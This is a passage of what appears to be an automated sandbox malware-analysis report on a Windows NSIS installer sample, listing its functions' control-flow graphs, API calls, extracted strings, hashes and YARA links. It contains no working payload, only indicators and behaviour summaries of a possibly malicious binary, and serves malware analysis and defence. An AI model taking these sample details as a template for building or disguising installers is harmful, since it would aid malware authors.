                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
                                            • String ID: /D=$ _?=$"C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe"$C:\Users\user\Desktop$C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp
                                            • API String ID: 2435955865-1846598035
                                            • Opcode ID: 7a316b5055b30f9aaac34ad57f3eca8da3b8ee04e2000637dca67fb3c636fbe9
                                            • Instruction ID: 24a773ffd11e725b17f64a587af86d00896606ebd673f2b671a94fa35e787169
                                            • Opcode Fuzzy Hash: 7a316b5055b30f9aaac34ad57f3eca8da3b8ee04e2000637dca67fb3c636fbe9
                                            • Instruction Fuzzy Hash: BBA1E670500701BBD6207F629D4AB1B7E9CEB01705F10483FF985B62D2DBBD9A458BAE
                                            Function 00405B98 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 415 405b98-405bac FindFirstFileW 416 405bb9 415->416 417 405bae-405bb7 FindClose 415->417 418 405bbb-405bbc 416->418 417->418
                                            APIs
                                            • FindFirstFileW.KERNELBASE(?,00464A20,0045FE18,00406093,0045FE18), ref: 00405BA3
                                            • FindClose.KERNEL32(00000000), ref: 00405BAF
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: Find$CloseFileFirst
                                            • String ID: JF
                                            • API String ID: 2295610775-1378213080
                                            • Opcode ID: 8a2fef2aada0d280f7cfc8c7f2d825c9d5ff996b33c7372124f3e42565b734a1
                                            • Instruction ID: 1ee526d225bc4302f24aa9e13179370b3debcda52a21c952381bfba9845ea930
                                            • Opcode Fuzzy Hash: 8a2fef2aada0d280f7cfc8c7f2d825c9d5ff996b33c7372124f3e42565b734a1
                                            • Instruction Fuzzy Hash: 51D022301095206FC60003386D0C88B3A28EF0A3303104B32F1A5F22E0C7B4AC638A9C
                                            Function 00405BBF Relevance: 4.5, APIs: 3, Instructions: 19libraryloaderCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 419 405bbf-405bd7 GetModuleHandleA 420 405be4-405beb GetProcAddress 419->420 421 405bd9-405be2 LoadLibraryA 419->421 422 405bf1-405bf3 420->422 421->420 421->422
                                            APIs
                                            • GetModuleHandleA.KERNEL32(?,?,00000020,00403458,00000008), ref: 00405BCF
                                            • LoadLibraryA.KERNELBASE(?,?,00000020,00403458,00000008), ref: 00405BDA
                                            • GetProcAddress.KERNEL32(00000000,?), ref: 00405BEB
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: AddressHandleLibraryLoadModuleProc
                                            • String ID:
                                            • API String ID: 310444273-0
                                            • Opcode ID: 0ccf96f21d4775823ebfa39c65d9289fef824585f99c9f9fa051364898666991
                                            • Instruction ID: e5a37bd0471b14276c9a44c6b696aa1abbb9d0f0bd66a2a471ce49017894d203
                                            • Opcode Fuzzy Hash: 0ccf96f21d4775823ebfa39c65d9289fef824585f99c9f9fa051364898666991
                                            • Instruction Fuzzy Hash: 9DE08C32600A1297DA101B609E0896B777CAB89640302C43EF545B2011DB34B825ABAD
                                            Function 004053F8 Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 227stringregistrylibraryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 120 4053f8-405412 call 405bbf 123 405414-405424 call 4059ff 120->123 124 405426-40545e call 405981 120->124 133 405481-4054a9 call 4039fc call 406042 123->133 129 405460-405471 call 405981 124->129 130 405476-40547c lstrcatW 124->130 129->130 130->133 138 405543-405550 call 406042 133->138 139 4054af-4054b4 133->139 145 405552-405559 call 4060ca 138->145 146 40555e-405583 LoadImageW 138->146 139->138 140 4054ba-4054e2 call 405981 139->140 140->138 147 4054e4-4054e8 140->147 145->146 149 405613-40561b call 40141d 146->149 150 405589-4055c8 RegisterClassW 146->150 151 4054ea-4054fb call 4057b3 147->151 152 4054fe-40550a lstrlenW 147->152 163 405625-405630 call 4039fc 149->163 164 40561d-405620 149->164 153 4056e5 150->153 154 4055ce-40560e SystemParametersInfoW CreateWindowExW 150->154 151->152 158 405532-40553e call 405fe6 call 405ab8 152->158 159 40550c-40551a lstrcmpiW 152->159 156 4056e7-4056eb 153->156 154->149 158->138 159->158 162 40551c-405526 GetFileAttributesW 159->162 167 405528-40552a 162->167 168 40552c-40552d call 406015 162->168 173 405636-405653 ShowWindow LoadLibraryW 163->173 174 4056bc-4056c4 call 404b48 163->174 164->156 167->158 167->168 168->158 175 405655-40565a LoadLibraryW 173->175 176 40565c-40566d GetClassInfoW 173->176 182 4056c6-4056cc 174->182 183 4056de-4056e0 call 40141d 174->183 175->176 178 405689-4056ba DialogBoxParamW call 40141d call 4037f0 176->178 179 40566f-405683 GetClassInfoW RegisterClassW 176->179 178->156 179->178 182->164 186 4056d2-4056d9 call 40141d 182->186 183->153 186->164
                                            APIs
                                              • Part of subcall function 00405BBF: GetModuleHandleA.KERNEL32(?,?,00000020,00403458,00000008), ref: 00405BCF
                                              • Part of subcall function 00405BBF: LoadLibraryA.KERNELBASE(?,?,00000020,00403458,00000008), ref: 00405BDA
                                              • Part of subcall function 00405BBF: GetProcAddress.KERNEL32(00000000,?), ref: 00405BEB
                                            • lstrcatW.KERNEL32(004DC0C0,0044FD98), ref: 0040547C
                                            • lstrlenW.KERNEL32(22571808,?,?,?,22571808,00000000,004D00A8,004DC0C0,0044FD98,80000001,Control Panel\Desktop\ResourceLocale,00000000,0044FD98,00000000,00000006,"C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe"), ref: 004054FF
                                            • lstrcmpiW.KERNEL32(?,.exe,22571808,?,?,?,22571808,00000000,004D00A8,004DC0C0,0044FD98,80000001,Control Panel\Desktop\ResourceLocale,00000000,0044FD98,00000000), ref: 00405512
                                            • GetFileAttributesW.KERNEL32(22571808), ref: 0040551D
                                            • LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004D00A8), ref: 0040556F
                                              • Part of subcall function 004059FF: wsprintfW.USER32 ref: 00405A0C
                                            • RegisterClassW.USER32(00473240), ref: 004055BF
                                            • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 004055D6
                                            • CreateWindowExW.USER32(00000080,?,00000000,80000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00405608
                                              • Part of subcall function 004039FC: SetWindowTextW.USER32(00000000,004732A0), ref: 00403A97
                                            • ShowWindow.USER32(00000005,00000000), ref: 0040563E
                                            • LoadLibraryW.KERNEL32(RichEd20), ref: 0040564F
                                            • LoadLibraryW.KERNEL32(RichEd32), ref: 0040565A
                                            • GetClassInfoW.USER32(00000000,RichEdit20A,00473240), ref: 00405669
                                            • GetClassInfoW.USER32(00000000,RichEdit,00473240), ref: 00405676
                                            • RegisterClassW.USER32(00473240), ref: 00405683
                                            • DialogBoxParamW.USER32(?,00000000,00404F45,00000000), ref: 004056A2
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
                                            • String ID: "C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe"$.DEFAULT\Control Panel\International$.exe$22571808$@2G$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
                                            • API String ID: 608394941-879579094
                                            • Opcode ID: c9e60b1b3c0f802fbfd7db3f6b9b6b56d484588749bd373d4ce2741afa478592
                                            • Instruction ID: 3004e29146ce1891a10f4484e48a0599eb6fbea5d6fbf796412b55f756561b6a
                                            • Opcode Fuzzy Hash: c9e60b1b3c0f802fbfd7db3f6b9b6b56d484588749bd373d4ce2741afa478592
                                            • Instruction Fuzzy Hash: 7F7104B0601A11BED710ABA5AD46F6F366CEB44304F40043BF949B62E2DB794D818FAD
                                            Function 0040311B Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 182COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 191 40311b-403169 GetTickCount GetModuleFileNameW call 4058fe 194 403175-4031a3 call 405ab8 call 406015 call 405ab8 GetFileSize 191->194 195 40316b-403170 191->195 203 403290-40329e call 402e3a 194->203 204 4031a9 194->204 196 40334a-40334e 195->196 211 4032a4-4032a7 203->211 212 403359-40335e 203->212 205 4031ae-4031c5 204->205 207 4031c7 205->207 208 4031c9-4031cb call 402e9e 205->208 207->208 215 4031d0-4031d2 208->215 213 4032d3-4032fd GlobalAlloc call 402ed0 call 402ee7 211->213 214 4032a9-4032c1 call 402ed0 call 402e9e 211->214 212->196 213->212 242 4032ff-403310 213->242 214->212 237 4032c7-4032cd 214->237 217 403351-403358 call 402e3a 215->217 218 4031d8-4031df 215->218 217->212 222 4031e1-4031f5 call 4058ba 218->222 223 40325b-40325f 218->223 227 403269-40326f 222->227 240 4031f7-4031fe 222->240 226 403261-403268 call 402e3a 223->226 223->227 226->227 233 403271-40327b call 406739 227->233 234 40327e-403288 227->234 233->234 234->205 241 40328e 234->241 237->212 237->213 240->227 244 403200-403207 240->244 241->203 245 403312 242->245 246 403318-40331b 242->246 244->227 247 403209-403210 244->247 245->246 248 40331e-403326 246->248 247->227 249 403212-403219 247->249 248->248 250 403328-403343 SetFilePointer call 4058ba 248->250 249->227 252 40321b-40323b 249->252 253 403348 250->253 252->212 254 403241-403245 252->254 253->196 255 403247-40324b 254->255 256 40324d-403255 254->256 255->241 255->256 256->227 257 403257-403259 256->257 257->227
                                            APIs
                                            • GetTickCount.KERNEL32 ref: 0040312C
                                            • GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe,00002004,?,?,?,00000000,004035D7,?), ref: 00403148
                                              • Part of subcall function 004058FE: GetFileAttributesW.KERNELBASE(00000003,0040315B,C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe,80000000,00000003,?,?,?,00000000,004035D7,?), ref: 00405902
                                              • Part of subcall function 004058FE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,004035D7,?), ref: 00405924
                                            • GetFileSize.KERNEL32(00000000,00000000,004EC0E0,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe,C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe,80000000,00000003,?,?,?,00000000,004035D7,?), ref: 00403194
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: File$AttributesCountCreateModuleNameSizeTick
                                            • String ID: "C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe"$C:\Users\user\Desktop$C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
                                            • API String ID: 4283519449-3258961464
                                            • Opcode ID: 689548250178369e8610e5746f9adce2578bd5dbf9f68dd3f6bd973dda8ba485
                                            • Instruction ID: 9295a41ff54e91ce474836f10c0d971f7d59360bd190e5c91fe05c233bc104c6
                                            • Opcode Fuzzy Hash: 689548250178369e8610e5746f9adce2578bd5dbf9f68dd3f6bd973dda8ba485
                                            • Instruction Fuzzy Hash: 4D51D771900208ABDB119FA5DD85BAE7BA8EF04716F14417FE904B62D1DB7C8E808B9D
                                            Function 00402EE7 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 175fileCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 258 402ee7-402f00 259 402f02 258->259 260 402f09-402f11 258->260 259->260 261 402f13 260->261 262 402f1a-402f1f 260->262 261->262 263 402f21-402f2a call 402ed0 262->263 264 402f2f-402f3c call 402e9e 262->264 263->264 268 402f46-402f4d 264->268 269 402f3e 264->269 271 402f53-402f9a GetTickCount 268->271 272 4030ae-4030b0 268->272 270 402f40-402f41 269->270 275 4030cf-4030d3 270->275 276 402fa0-402fa8 271->276 277 4030cc 271->277 273 4030b2-4030b5 272->273 274 403114-403117 272->274 278 4030b7 273->278 279 4030ba-4030c3 call 402e9e 273->279 280 4030d6-4030dc 274->280 281 403119 274->281 282 402faa 276->282 283 402fad-402fbb call 402e9e 276->283 277->275 278->279 279->269 291 4030c9 279->291 286 4030e1-4030ef call 402e9e 280->286 287 4030de 280->287 281->277 282->283 283->269 292 402fbd-402fc6 283->292 286->269 295 4030f5-403107 WriteFile 286->295 287->286 291->277 294 402fcc-402fec call 406b32 292->294 301 4030a0-4030a2 294->301 302 402ff2-403005 GetTickCount 294->302 297 4030a7-4030a9 295->297 298 403109-40310c 295->298 297->270 298->297 300 40310e-403111 298->300 300->274 301->270 303 403050-403054 302->303 304 403007-40300f 302->304 305 403095-403098 303->305 306 403056-403059 303->306 307 403011-403015 304->307 308 403017-40304d MulDiv wsprintfW call 404a73 304->308 305->276 312 40309e 305->312 310 40307b-403086 306->310 311 40305b-40306f WriteFile 306->311 307->303 307->308 308->303 315 403089-40308d 310->315 311->297 314 403071-403074 311->314 312->277 314->297 316 403076-403079 314->316 315->294 317 403093 315->317 316->315 317->277
                                            APIs
                                            • GetTickCount.KERNEL32 ref: 00402F59
                                            • GetTickCount.KERNEL32 ref: 00402FFA
                                            • MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403023
                                            • wsprintfW.USER32 ref: 00403036
                                            • WriteFile.KERNELBASE(00000000,00000000,00424D76,004032FA,00000000), ref: 00403067
                                            • WriteFile.KERNEL32(00000000,0041E170,?,00000000,00000000,0041E170,?,000000FF,00000004,00000000,00000000,00000000), ref: 004030FF
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: CountFileTickWrite$wsprintf
                                            • String ID: (=C$... %d%%$p!B$pA$pA$vB$vMB
                                            • API String ID: 651206458-1336809268
                                            • Opcode ID: 8c4c8dbab1ebe0afa4682773c2b87886d0ac197ebae181545411c68e098dc53f
                                            • Instruction ID: 169c75f2852f129af83c9b1986440f01f3d96746b5d1a97a5bed7113fa09ea58
                                            • Opcode Fuzzy Hash: 8c4c8dbab1ebe0afa4682773c2b87886d0ac197ebae181545411c68e098dc53f
                                            • Instruction Fuzzy Hash: 1C617B7190121AEBCF10CF65EA446AF7BB8AF44751F14413BE900B72D0D7B89A40DBA9
                                            Function 004018D7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 147stringtimeCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            • lstrcatW.KERNEL32(00000000,00000000), ref: 00401917
                                            • CompareFileTime.KERNEL32(-00000014,?,AlgorithmPledgeSomersetLiftDlLebanon,AlgorithmPledgeSomersetLiftDlLebanon,00000000,00000000,AlgorithmPledgeSomersetLiftDlLebanon,004D40B0,00000000,00000000), ref: 00401946
                                              • Part of subcall function 00405AB8: lstrcpynW.KERNEL32(?,?,00002004,00403483,004732A0,NSIS Error), ref: 00405AC5
                                              • Part of subcall function 00404A73: lstrlenW.KERNEL32(00447D88,00424D76,74DF23A0,00000000), ref: 00404AAB
                                              • Part of subcall function 00404A73: lstrlenW.KERNEL32(0040304D,00447D88,00424D76,74DF23A0,00000000), ref: 00404ABB
                                              • Part of subcall function 00404A73: lstrcatW.KERNEL32(00447D88,0040304D), ref: 00404ACE
                                              • Part of subcall function 00404A73: SetWindowTextW.USER32(00447D88,00447D88), ref: 00404AE0
                                              • Part of subcall function 00404A73: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00404B06
                                              • Part of subcall function 00404A73: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00404B20
                                              • Part of subcall function 00404A73: SendMessageW.USER32(?,00001013,?,00000000), ref: 00404B2E
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
                                            • String ID: AlgorithmPledgeSomersetLiftDlLebanon
                                            • API String ID: 1941528284-2256016825
                                            • Opcode ID: 4e2e2bfaca04459f9316266c88af64ec5a68e37a9f2f48202c4a4d3150a7de52
                                            • Instruction ID: b4e8f227fe7a9537edd0b9e90a91ba8e6819ca8d144e35aa4a9caf99775b3aa4
                                            • Opcode Fuzzy Hash: 4e2e2bfaca04459f9316266c88af64ec5a68e37a9f2f48202c4a4d3150a7de52
                                            • Instruction Fuzzy Hash: 6941C471A00614AADB10AB758C85EAF3668EF45329F20423BF416B11E2C77C4A91DFAD
                                            Function 0040592D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 384 40592d-405939 385 40593a-40596e GetTickCount GetTempFileNameW 384->385 386 405970-405972 385->386 387 40597d-40597f 385->387 386->385 388 405974 386->388 389 405977-40597a 387->389 388->389
                                            APIs
                                            • GetTickCount.KERNEL32 ref: 0040594B
                                            • GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,00403392,004DC0C0,004E00C8), ref: 00405966
                                            Strings
                                            • nsa, xrefs: 0040593A
                                            • "C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe", xrefs: 00405936
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
